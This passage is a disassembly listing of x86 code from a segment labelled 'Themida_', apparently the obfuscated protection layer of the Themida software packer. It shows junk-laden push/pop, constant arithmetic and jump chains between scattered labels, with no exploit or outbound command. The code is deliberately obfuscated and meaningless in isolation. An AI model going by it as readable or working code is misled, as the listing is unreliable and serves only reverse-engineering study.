		add	esp, 4
		add	ebx, 4
		jmp	loc_5A7A00
; ---------------------------------------------------------------------------


loc_5A7DEB:				; CODE XREF: Themida_:005AB76Dj
		pop	ebx
		add	eax, 7F9C4AC4h
		push	dword ptr [esp]
		jmp	loc_5A6202
; ---------------------------------------------------------------------------


loc_5A7DF9:				; CODE XREF: Themida_:loc_598CC4j
		sub	ecx, 0E743D3C1h
		mov	edi, ecx
		pop	ecx
		sub	ebp, edi
		mov	edi, [esp]
		jmp	loc_5A0815
; ---------------------------------------------------------------------------


loc_5A7E0C:				; CODE XREF: Themida_:loc_5AD498j
		and	ebx, 7ACA5BD5h
		jns	loc_5AEBE1
		jmp	loc_59A581
; ---------------------------------------------------------------------------
		sub	[esp+0Ch], edi
		pop	edi
		pop	ebx


loc_5A7E23:				; CODE XREF: Themida_:005ABDE6j
		not	edi
		sub	edi, 7CEEE05Ch
		neg	edi
		shl	edi, 4
		jmp	loc_59F047
; ---------------------------------------------------------------------------


loc_5A7E35:				; CODE XREF: Themida_:005A405Fj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	eax
		jmp	loc_5A8D42
; ---------------------------------------------------------------------------


loc_5A7E48:				; CODE XREF: Themida_:005A15DBj
		pop	ebx
		xor	ebx, 651B092Dh
		pop	eax
		or	ebx, 768F500Ah
		shr	ebx, 5
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		sub	ebx, 0FC490404h
		add	ecx, ebx
		pop	ebx
		push	edi
		mov	edi, 4
		sub	ecx, 5E502F52h
		sub	ecx, edi
		add	ecx, 5E502F52h
		jmp	loc_59D7AF
; ---------------------------------------------------------------------------


loc_5A7E80:				; CODE XREF: Themida_:005A8FE7j
					; Themida_:005AC537j
		push	ebx
		mov	bh, 31h
		push	0
		sub	[esp], bh
		mov	bh, [esp]
		add	esp, 4
		xor	bh, 4Fh
		push	edx
		mov	dh, 47h
		xor	bh, dh
		pop	edx
		or	ah, bh
		pop	ebx
		sub	ah, 26h
		xor	dh, ah
		pop	eax
		mov	ch, dh
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A8E0B
; ---------------------------------------------------------------------------


loc_5A7EB6:				; CODE XREF: Themida_:005AED83j
		neg	bh
		dec	bh
		xor	bh, 0D7h
		jle	loc_5AC674
		jmp	loc_5AE128
; ---------------------------------------------------------------------------


loc_5A7EC8:				; CODE XREF: Themida_:005ABD6Dj
		mov	bh, 9Ah
		push	ecx
		jmp	loc_59F951
; ---------------------------------------------------------------------------


loc_5A7ED0:				; CODE XREF: Themida_:005A2DC8j
					; Themida_:005A5927j
		push	ebx
		mov	ebx, 71D64EFDh
		not	ebx
		push	eax
		push	ecx
		jmp	loc_5AB0E5
; ---------------------------------------------------------------------------


loc_5A7EDF:				; CODE XREF: Themida_:005ABC19j
		pop	eax
		xor	esi, ebp
		jmp	loc_5A1887
; ---------------------------------------------------------------------------


loc_5A7EE7:				; CODE XREF: Themida_:005A073Fj
		mov	[esp], ebx
		push	524B5129h
		jmp	loc_5ACC0D
; ---------------------------------------------------------------------------


loc_5A7EF4:				; CODE XREF: Themida_:0059E7AEj
		add	edx, esi
		add	edx, 275A3024h
		mov	esi, [esp]
		jmp	loc_5A4481
; ---------------------------------------------------------------------------


loc_5A7F04:				; CODE XREF: Themida_:005A9C68j
		mov	ecx, 1A4E273Bh
		jmp	loc_5A357B
; ---------------------------------------------------------------------------


loc_5A7F0E:				; CODE XREF: Themida_:005A3686j
		jmp	loc_5A8B34
; ---------------------------------------------------------------------------


loc_5A7F13:				; CODE XREF: Themida_:0059DB58j
					; Themida_:005AA1FEj
		sub	eax, 78C43B9Bh
		add	eax, ebp
		add	eax, 78C43B9Bh
		add	eax, 14FB6FCDh
		push	esi
		push	eax
		mov	eax, 6AF76405h
		mov	esi, eax
		pop	eax
		jmp	loc_5A084D
; ---------------------------------------------------------------------------


loc_5A7F33:				; CODE XREF: Themida_:005A7345j
		add	ecx, 2E4B3D33h
		add	ecx, ebx
		sub	ecx, 2E4B3D33h
		add	ecx, 3AD91FFFh
		pop	ebx
		add	ecx, 4
		push	4A26h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5A4A90
; ---------------------------------------------------------------------------


loc_5A7F68:				; CODE XREF: Themida_:005A95B8j
		add	ecx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 9D57162h
		jmp	loc_59C9F7
; ---------------------------------------------------------------------------


loc_5A7F76:				; CODE XREF: Themida_:005AF083j
		sub	esp, 4
		jmp	loc_5A308D
; ---------------------------------------------------------------------------


loc_5A7F81:				; CODE XREF: Themida_:0059EEABj
		mov	eax, 0A002C24h
		sub	edx, eax
		pop	eax
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_59E840
; ---------------------------------------------------------------------------


loc_5A7F97:				; CODE XREF: Themida_:005A7591j
		push	ebp
		push	esp
		pop	ebp
		push	5F66h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_59EFB6
; ---------------------------------------------------------------------------


loc_5A7FB5:				; CODE XREF: Themida_:005AF4BBj
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_5ABB01
; ---------------------------------------------------------------------------


loc_5A7FC4:				; CODE XREF: Themida_:005988E4j
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		jmp	loc_59B44B
; ---------------------------------------------------------------------------


loc_5A7FD1:				; CODE XREF: Themida_:005A1EAFj
		or	eax, 1B6B7971h
		add	eax, 29A2E7Fh
		jmp	loc_59CA9D
; ---------------------------------------------------------------------------


loc_5A7FE0:				; CODE XREF: Themida_:005A5CF2j
		xor	ah, ch
		pop	ecx
		jmp	loc_5A1D2E
; ---------------------------------------------------------------------------


loc_5A7FE8:				; CODE XREF: Themida_:005AC5CDj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5ABA95
; ---------------------------------------------------------------------------


loc_5A7FF9:				; CODE XREF: Themida_:005A122Fj
		mov	[esp], ecx
		jmp	loc_5A98E0
; ---------------------------------------------------------------------------


loc_5A8001:				; CODE XREF: Themida_:005AC51Dj
		xor	ebx, ecx
		pop	ecx
		jmp	loc_59C557
; ---------------------------------------------------------------------------


loc_5A8009:				; CODE XREF: Themida_:0059F81Fj
		sub	ebx, eax
		pop	eax
		jmp	loc_599F74
; ---------------------------------------------------------------------------


loc_5A8011:				; CODE XREF: Themida_:005A740Aj
		mov	edx, [esp]
		jmp	loc_5A3E8E
; ---------------------------------------------------------------------------


loc_5A8019:				; CODE XREF: Themida_:005A9BB0j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	2600h
		mov	[esp], eax
		push	35DEh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		jmp	loc_5A8942
; ---------------------------------------------------------------------------


loc_5A804B:				; CODE XREF: Themida_:0059D392j
		or	ebp, 55F941D8h
		jmp	loc_5ABA62
; ---------------------------------------------------------------------------


loc_5A8056:				; CODE XREF: Themida_:005A7D45j
		add	ebx, 572B46FBh
		add	ebx, ecx
		jmp	loc_599915
; ---------------------------------------------------------------------------


loc_5A8063:				; CODE XREF: Themida_:005A71A3j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, edx
		push	ebp
		mov	ebp, eax
		jmp	loc_5A39CD
; ---------------------------------------------------------------------------


loc_5A8077:				; CODE XREF: Themida_:005ADF4Dj
		or	dl, 0E1h
		add	dl, 0C2h
		sub	cl, dl
		pop	edx
		inc	cl
		jle	loc_599294
		add	cl, 0D7h
		jmp	loc_5A1506
; ---------------------------------------------------------------------------


loc_5A8090:				; CODE XREF: Themida_:loc_5AAD9Ej
		shr	ebx, 3
		sub	ebx, 0FFFFFFFFh
		push	eax
		jmp	loc_59E159
; ---------------------------------------------------------------------------


loc_5A809C:				; CODE XREF: Themida_:0059B633j
		add	ebx, 4E48687Eh
		jp	loc_599AD6
		and	ebx, 483A0113h
		js	loc_5A4FAF
		shr	ebx, 2
		jnp	loc_59F888
		not	ebx
		jmp	loc_59A4FE
; ---------------------------------------------------------------------------


loc_5A80C4:				; CODE XREF: Themida_:loc_59CA20j
		sub	edx, 1C026C0Fh
		jmp	loc_599152
; ---------------------------------------------------------------------------


loc_5A80CF:				; CODE XREF: Themida_:005AE011j
		xor	eax, 50657ED6h
		jmp	loc_5A4DD5
; ---------------------------------------------------------------------------


loc_5A80D9:				; CODE XREF: Themida_:005A5E71j
		pop	ebp
		sub	ebx, 2EDC52ECh
		add	ebx, ecx
		jmp	loc_59D462
; ---------------------------------------------------------------------------


loc_5A80E7:				; CODE XREF: Themida_:005A3E69j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		push	0C4D5F69h
		pop	edi
		sub	edi, 0A654E963h
		mov	edx, edi
		pop	edi
		xor	edx, 65F87602h
		add	eax, edx
		jmp	loc_59AE43
; ---------------------------------------------------------------------------


loc_5A810F:				; CODE XREF: Themida_:005A417Fj
		xor	ebp, 3299EFB1h
		sub	ebx, 4CAF4F3Ch
		add	ebx, ebp
		jmp	loc_59B079
; ---------------------------------------------------------------------------


loc_5A8122:				; CODE XREF: Themida_:005AEAB2j
		jz	loc_59AECE
		add	ebx, 1FC09A3h
		jnz	loc_5A3950
		shl	ebx, 5
		jmp	loc_5A3912
; ---------------------------------------------------------------------------
		push	ebp
		push	ecx
		push	esi
		lodsd
		jmp	loc_59D5E7
; ---------------------------------------------------------------------------


loc_5A8145:				; CODE XREF: Themida_:005AD56Aj
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		mov	edi, [esp]
		jmp	loc_5AA835
; ---------------------------------------------------------------------------


loc_5A8155:				; CODE XREF: Themida_:005A7180j
		mov	eax, 332D3C9Bh
		sub	dword ptr [esp+4], 338B2AF5h
		jmp	loc_5AAE89
; ---------------------------------------------------------------------------


loc_5A8167:				; CODE XREF: Themida_:005A6F5Dj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		dec	ebx
		jmp	loc_5A5E62
; ---------------------------------------------------------------------------


loc_5A817B:				; CODE XREF: Themida_:005A3EF9j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_59A376
; ---------------------------------------------------------------------------


loc_5A818D:				; CODE XREF: Themida_:00599E9Ej
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A8197:				; CODE XREF: Themida_:005A66DCj
		pop	eax
		jmp	loc_59DA43
; ---------------------------------------------------------------------------


loc_5A819D:				; CODE XREF: Themida_:005A711Aj
		jg	loc_5A705C
		dec	esi
		jnp	loc_5AB2DB
		shr	esi, 6
		sub	esi, 0DCC57E8Ch
		inc	esi
		sub	esi, 1


loc_5A81B7:				; CODE XREF: Themida_:00599C17j
		add	esp, 4
		dec	esi
		jns	loc_59AE5A
		push	edx
		push	edi
		mov	edi, 19DF30BCh
		dec	edi
		jmp	loc_59AAB7
; ---------------------------------------------------------------------------


loc_5A81CE:				; CODE XREF: Themida_:005ADD82j
		add	edx, 2BD43C69h
		jmp	loc_5AB6EE
; ---------------------------------------------------------------------------


loc_5A81D9:				; CODE XREF: Themida_:0059C70Bj
		push	ebx
		mov	ebx, 3A02A881h
		sub	ecx, ebx
		pop	ebx
		jmp	loc_5ACF80
; ---------------------------------------------------------------------------


loc_5A81E7:				; CODE XREF: Themida_:0059E1C1j
		xor	edx, 0ABCA726h
		push	edi
		mov	edi, 1DE5486Ah
		jmp	loc_5A3B5C
; ---------------------------------------------------------------------------


loc_5A81F8:				; CODE XREF: Themida_:005A0A2Aj
					; Themida_:005A5EE4j
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_5A2A32
; ---------------------------------------------------------------------------


loc_5A8205:				; CODE XREF: Themida_:005A50CEj
		sub	esi, ebx
		jmp	loc_59BFDC
; ---------------------------------------------------------------------------


loc_5A820C:				; CODE XREF: Themida_:0059CC50j
		pop	edx
		and	eax, esi
		pop	esi
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A37B4
; ---------------------------------------------------------------------------


loc_5A8233:				; CODE XREF: Themida_:0059C99Dj
		mov	[esp], edi
		push	ebx
		push	296012B5h
		pop	ebx
		or	ebx, 34D33FCFh
		jl	loc_59FC80
		shr	ebx, 1
		jz	loc_59F541
		sub	ebx, 1EF99FFBh
		push	ebx
		xor	dword ptr [esp], 96E2F15h
		pop	edi
		xor	edi, 96E2F15h
		pop	ebx
		jmp	loc_59D84E
; ---------------------------------------------------------------------------


loc_5A826C:				; CODE XREF: Themida_:0059F503j
					; Themida_:005AD8FBj
		mov	ebp, esp
		jmp	loc_5ADC05
; ---------------------------------------------------------------------------


loc_5A8273:				; CODE XREF: Themida_:0059A739j
		pop	esp
		push	esi
		jmp	loc_598C56
; ---------------------------------------------------------------------------


loc_5A827A:				; CODE XREF: Themida_:005A8D09j
					; Themida_:005AA803j
		inc	eax
		jmp	loc_5A43A4
; ---------------------------------------------------------------------------


loc_5A8280:				; CODE XREF: Themida_:005AAAEFj
		xor	ebp, 60C834C8h
		xor	edi, ebp
		jmp	loc_59E959
; ---------------------------------------------------------------------------


loc_5A828D:				; CODE XREF: Themida_:005AF30Cj
		and	eax, 1D1B5E63h
		sub	eax, 5A0875A8h
		sub	eax, 0A5F9D857h
		jmp	loc_59865D
; ---------------------------------------------------------------------------


loc_5A82A1:				; CODE XREF: Themida_:0059BA97j
		sub	edi, 76DE3828h
		add	edi, ebp
		add	edi, 76DE3828h
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59E848
; ---------------------------------------------------------------------------


loc_5A82C5:				; CODE XREF: Themida_:005A234Fj
		add	esp, 4
		jmp	loc_599884
; ---------------------------------------------------------------------------


loc_5A82CD:				; CODE XREF: Themida_:0059F628j
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_5A20EB
; ---------------------------------------------------------------------------


loc_5A82DE:				; CODE XREF: Themida_:005A8F66j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2
		push	56EEh
		jmp	loc_5A7B9E
; ---------------------------------------------------------------------------


loc_5A8302:				; CODE XREF: Themida_:005A008Bj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59F285
; ---------------------------------------------------------------------------


loc_5A830D:				; CODE XREF: Themida_:005A3DC2j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5AB98E
; ---------------------------------------------------------------------------


loc_5A831E:				; CODE XREF: Themida_:0059AA04j
					; Themida_:005A5E4Dj
		pop	esi
		add	esi, 21D8DEh
		sub	esp, 4
		mov	[esp], esi
		pop	eax
		pop	esi
		or	eax, 283C2840h
		jb	loc_5A96D5
		jmp	loc_59F7C4
; ---------------------------------------------------------------------------


loc_5A833D:				; CODE XREF: Themida_:005A3917j
		pop	eax
		push	6994h
		mov	[esp], eax
		not	dword ptr [esp]
		jmp	loc_5A5E08
; ---------------------------------------------------------------------------


loc_5A834E:				; CODE XREF: Themida_:005A2D2Dj
		mov	cl, al
		jmp	loc_5AE8B5
; ---------------------------------------------------------------------------


loc_5A8355:				; CODE XREF: Themida_:005AEB53j
		jmp	loc_5AE8A2
; ---------------------------------------------------------------------------


loc_5A835A:				; CODE XREF: Themida_:00599D54j
		mov	esp, [esp]
		jmp	loc_5AABCF
; ---------------------------------------------------------------------------


loc_5A8362:				; CODE XREF: Themida_:005A05A5j
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AD4BE
; ---------------------------------------------------------------------------


loc_5A838F:				; CODE XREF: Themida_:005A5138j
		shl	ebx, 4
		jmp	loc_5AE8E3
; ---------------------------------------------------------------------------


loc_5A8397:				; CODE XREF: Themida_:005999CAj
					; Themida_:loc_5A1269j
		mov	ebp, 5E0043F2h
		xor	edx, ebp
		pop	ebp
		jmp	loc_5ACD54
; ---------------------------------------------------------------------------


loc_5A83A4:				; CODE XREF: Themida_:0059CA2Cj
		jnp	loc_5A5D9E
		jmp	loc_5A7823
; ---------------------------------------------------------------------------
		mov	esi, esp
		push	edi
		mov	bh, dl
		push	eax


loc_5A83B5:				; CODE XREF: Themida_:00599517j
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 28555494h
		add	ebp, edi
		push	edx
		mov	edx, 28555494h
		sub	ebp, edx
		pop	edx
		pop	edi
		mov	esi, ebp
		pop	ebp
		mov	edi, esi
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 6C206504h
		xchg	ebx, edi
		jmp	loc_5A774A
; ---------------------------------------------------------------------------


loc_5A83EB:				; CODE XREF: Themida_:loc_5AD3EDj
		sub	edx, 9B378B89h
		xor	edx, 769F5B68h
		xor	eax, edx
		pop	edx
		xor	eax, 1A3A609Dh
		jmp	loc_5A26E4
; ---------------------------------------------------------------------------


loc_5A8404:				; CODE XREF: Themida_:loc_59FCC5j
		xor	esi, 61E93D67h
		add	esi, 472703C7h
		add	eax, esi
		pop	esi
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A6AFD
; ---------------------------------------------------------------------------


loc_5A8422:				; CODE XREF: Themida_:005A76AFj
		xor	eax, edx
		push	dword ptr [esp]
		jmp	loc_5A1962
; ---------------------------------------------------------------------------


loc_5A842C:				; CODE XREF: Themida_:0059FE67j
		push	0CA9h
		mov	[esp], eax
		push	esi
		push	small 610Ah
		pop	si
		not	si
		jmp	loc_5ABFEE
; ---------------------------------------------------------------------------


loc_5A8443:				; CODE XREF: Themida_:005A8695j
		push	edx
		push	3B60129Ah
		jmp	loc_5ADFCC
; ---------------------------------------------------------------------------


loc_5A844E:				; CODE XREF: Themida_:005AD40Cj
		push	eax
		mov	eax, 7161C7Ch
		dec	eax
		add	eax, 0FFFFFFFFh
		add	eax, 0F8E9E38Ah
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, 4
		jmp	loc_59D293
; ---------------------------------------------------------------------------


loc_5A8472:				; CODE XREF: Themida_:0059A00Aj
		jmp	loc_5A2E9F
; ---------------------------------------------------------------------------


loc_5A8477:				; CODE XREF: Themida_:005A9F15j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		push	ebp
		mov	ebp, 61FB6D01h
		jmp	loc_5A76B4
; ---------------------------------------------------------------------------


loc_5A8492:				; CODE XREF: Themida_:00599910j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A3D31
; ---------------------------------------------------------------------------


loc_5A84A2:				; CODE XREF: Themida_:0059D96Bj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5A9BD3
; ---------------------------------------------------------------------------


loc_5A84C0:				; CODE XREF: Themida_:00599AEFj
		sub	al, ch
		pop	ecx
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59C983
; ---------------------------------------------------------------------------


loc_5A84D2:				; CODE XREF: Themida_:005AEF77j
		shr	ecx, 4
		jmp	loc_5AEC1D
; ---------------------------------------------------------------------------


loc_5A84DA:				; CODE XREF: Themida_:005A04CEj
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_59B33B
; ---------------------------------------------------------------------------


loc_5A84E6:				; CODE XREF: Themida_:005A6158j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A13D2
; ---------------------------------------------------------------------------


loc_5A84F1:				; CODE XREF: Themida_:0059F44Cj
		add	eax, 4
		jmp	loc_59EECA
; ---------------------------------------------------------------------------


loc_5A84FB:				; CODE XREF: Themida_:005A8DD9j
		add	esp, 4
		push	ecx
		jmp	loc_59CBC0
; ---------------------------------------------------------------------------


loc_5A8507:				; CODE XREF: Themida_:0059C421j
					; Themida_:005AD604j
		xor	eax, 0D6FF07B0h
		mov	ecx, eax
		pop	eax
		jmp	loc_5A62D2
; ---------------------------------------------------------------------------


loc_5A8514:				; CODE XREF: Themida_:005AF0C6j
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_598EA8
; ---------------------------------------------------------------------------


loc_5A852D:				; CODE XREF: Themida_:005AE863j
		shr	ebx, 5
		dec	ebx
		jle	loc_5A5217
		xor	ebx, 18A25B1Dh
		mov	ecx, ebx
		pop	ebx
		add	ecx, 0DC73BF1Bh
		jmp	loc_599A40
; ---------------------------------------------------------------------------


loc_5A854B:				; CODE XREF: Themida_:0059E4A9j
		jge	loc_59ED25
		neg	ebx
		jbe	loc_59BC78
		mov	ebp, edx


loc_5A855B:				; CODE XREF: Themida_:005ABFD7j
		sub	eax, 38616C74h
		sub	eax, esi
		jmp	loc_5A107B
; ---------------------------------------------------------------------------


loc_5A8567:				; CODE XREF: Themida_:005A4D72j
		add	esi, eax
		pop	eax
		jmp	loc_5A1D5E
; ---------------------------------------------------------------------------


loc_5A856F:				; CODE XREF: Themida_:005A2BE3j
		push	esi
		push	esp
		jmp	loc_59DB83
; ---------------------------------------------------------------------------


loc_5A8576:				; CODE XREF: Themida_:005AA51Cj
		push	ecx
		jmp	loc_59D452
; ---------------------------------------------------------------------------


loc_5A857C:				; CODE XREF: Themida_:005A9DC1j
		and	esi, 4A7829BAh
		xor	esi, 0EBE782Dh
		shr	esi, 2
		xor	esi, 7ABCAC0h
		add	ebp, esi
		pop	esi
		jmp	loc_5A9B5C
; ---------------------------------------------------------------------------


loc_5A8599:				; CODE XREF: Themida_:005A1E6Aj
		mov	[esp], edx
		mov	edx, esp
		push	eax
		push	4
		pop	eax
		add	edx, eax
		push	dword ptr [esp]
		jmp	loc_5A534C
; ---------------------------------------------------------------------------


loc_5A85AF:				; CODE XREF: Themida_:0059D1D3j
		neg	ebx
		jle	loc_5AEC90
		or	ebx, 75B9602Fh
		xchg	ecx, ebx
		not	ecx


loc_5A85C1:				; CODE XREF: Themida_:005A1A43j
		add	esp, 4
		jmp	loc_59C32B
; ---------------------------------------------------------------------------


loc_5A85CC:				; CODE XREF: Themida_:0059AE33j
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	ecx, 4
		jmp	loc_59EE47
; ---------------------------------------------------------------------------


loc_5A85DD:				; CODE XREF: Themida_:005ADE5Ej
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	eax
		mov	eax, 5B1021C0h
		dec	eax
		sub	eax, 5B1021BBh
		add	edi, eax
		jmp	loc_5A9AC6
; ---------------------------------------------------------------------------


loc_5A8633:				; CODE XREF: Themida_:005AA866j
					; Themida_:005ADB79j
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	6053h
		mov	[esp], edx
		push	782h
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	ebx
		jmp	loc_5A9F1A
; ---------------------------------------------------------------------------


loc_5A866B:				; CODE XREF: Themida_:005AE07Dj
		mov	eax, ecx
		pop	ecx
		push	eax
		mov	eax, 7DD94E74h
		jmp	loc_598642
; ---------------------------------------------------------------------------


loc_5A8679:				; CODE XREF: Themida_:0059B648j
		mov	ecx, 173650E8h
		mov	esi, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5A8DC3
; ---------------------------------------------------------------------------


loc_5A868B:				; CODE XREF: Themida_:005ACEF0j
		pop	ebx
		push	edi
		jmp	loc_59DE1D
; ---------------------------------------------------------------------------


loc_5A8692:				; CODE XREF: Themida_:005A12EEj
		mov	[esp], ebp
		jmp	loc_5A8443
; ---------------------------------------------------------------------------


loc_5A869A:				; CODE XREF: Themida_:0059AC32j
					; Themida_:005A5F2Aj
		pop	esi
		sub	esi, 2C44304Ah
		jmp	loc_5AF13B
; ---------------------------------------------------------------------------


loc_5A86A6:				; CODE XREF: Themida_:005AE148j
		sub	ecx, ebx
		pop	ebx
		add	ecx, esi
		push	eax
		mov	eax, 5EDE47DEh
		jmp	loc_5A2354
; ---------------------------------------------------------------------------


loc_5A86B6:				; CODE XREF: Themida_:005A00FAj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	2172h
		jmp	loc_5A762F
; ---------------------------------------------------------------------------


loc_5A86C7:				; CODE XREF: Themida_:005A2415j
		not	edi
		jmp	loc_5A5BD9
; ---------------------------------------------------------------------------


loc_5A86CE:				; CODE XREF: Themida_:005ACCB4j
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5A8DAC
; ---------------------------------------------------------------------------


loc_5A86DD:				; CODE XREF: Themida_:0059DF3Bj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 0E681A19h
		sub	esi, 77D61AECh
		sub	edx, esi
		jmp	loc_59CDF2
; ---------------------------------------------------------------------------


loc_5A86F6:				; CODE XREF: Themida_:005A6172j
		mov	bl, dl
		push	edx
		mov	dl, bl
		mov	ch, dl
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		add	ch, 16h
		push	edx
		mov	dh, 96h
		jmp	loc_5A6C25
; ---------------------------------------------------------------------------


loc_5A8713:				; CODE XREF: Themida_:0059A311j
		xor	edx, 4902666Fh
		mov	esi, edx
		pop	edx
		jmp	loc_5A7D38
; ---------------------------------------------------------------------------


loc_5A8721:				; CODE XREF: Themida_:005A3B79j
		neg	ch
		or	ch, 0Ch
		not	ch
		push	edx
		mov	dh, 0F5h
		xor	dh, 3Fh
		and	dh, 0F9h
		push	0
		sub	[esp], dh
		jmp	loc_5AB714
; ---------------------------------------------------------------------------


loc_5A873E:				; CODE XREF: Themida_:0059D809j
					; Themida_:0059E195j
		add	bl, al
		jmp	loc_5AB23D
; ---------------------------------------------------------------------------


loc_5A8745:				; CODE XREF: Themida_:00599ADCj
					; Themida_:005A237Fj
		add	ebx, 4DAB1463h
		pop	ecx
		add	ebx, esi
		push	ebp
		mov	ebp, 4A80641Fh
		jmp	loc_5998AA
; ---------------------------------------------------------------------------


loc_5A8759:				; CODE XREF: Themida_:005AD725j
		mov	eax, 423203F0h
		neg	eax
		shr	eax, 8
		push	esi
		push	ecx
		push	8941ACAh
		pop	ecx
		xor	ecx, 829D732h
		mov	esi, ecx
		pop	ecx
		xor	eax, esi
		jmp	loc_5A0160
; ---------------------------------------------------------------------------


loc_5A877B:				; CODE XREF: Themida_:005AD080j
		add	ebx, 3ABE5430h
		sub	ebx, edi
		sub	ebx, 3ABE5430h
		sub	ebx, 58FF11C1h
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 3EA94280h
		jmp	loc_59FB13
; ---------------------------------------------------------------------------


loc_5A87A3:				; CODE XREF: Themida_:0059945Aj
					; Themida_:005A2002j
		add	ebx, ebp
		add	ebx, 5D07287Eh
		jmp	loc_599A1C
; ---------------------------------------------------------------------------


loc_5A87B0:				; CODE XREF: Themida_:005A0D7Aj
		pop	ebp
		push	6F87h
		mov	[esp], ecx
		jmp	loc_5A42F5
; ---------------------------------------------------------------------------


loc_5A87BE:				; CODE XREF: Themida_:loc_5A6C3Dj
		shr	ebx, 8
		or	ebx, 6A7828A1h
		jb	loc_59A298
		xor	ebx, 4B3342CFh
		jmp	loc_5AA9E5
; ---------------------------------------------------------------------------


loc_5A87D8:				; CODE XREF: Themida_:loc_5AAD55j
		sub	eax, 9E0717E5h
		mov	edx, eax
		pop	eax
		push	edx
		pop	edi
		jmp	loc_59EC05
; ---------------------------------------------------------------------------


loc_5A87E7:				; CODE XREF: Themida_:005ADC52j
		pop	ebx
		push	0AF3h
		mov	[esp], ecx
		jmp	loc_59C189
; ---------------------------------------------------------------------------


loc_5A87F5:				; CODE XREF: Themida_:005A558Dj
					; Themida_:005A8B67j
		add	esp, 4
		add	ebx, 2
		jmp	loc_59CA31
; ---------------------------------------------------------------------------


loc_5A8803:				; CODE XREF: Themida_:005A9EB1j
		xor	al, bl
		jmp	loc_5A07D0
; ---------------------------------------------------------------------------


loc_5A880A:				; CODE XREF: Themida_:0059D448j
		xor	eax, 0D6FF07B0h
		mov	ecx, eax
		pop	eax
		jmp	loc_5A560A
; ---------------------------------------------------------------------------


loc_5A8817:				; CODE XREF: Themida_:005AB66Dj
		mov	bl, ah
		jmp	loc_59EDBC
; ---------------------------------------------------------------------------


loc_5A881E:				; CODE XREF: Themida_:005AA61Dj
		pop	eax
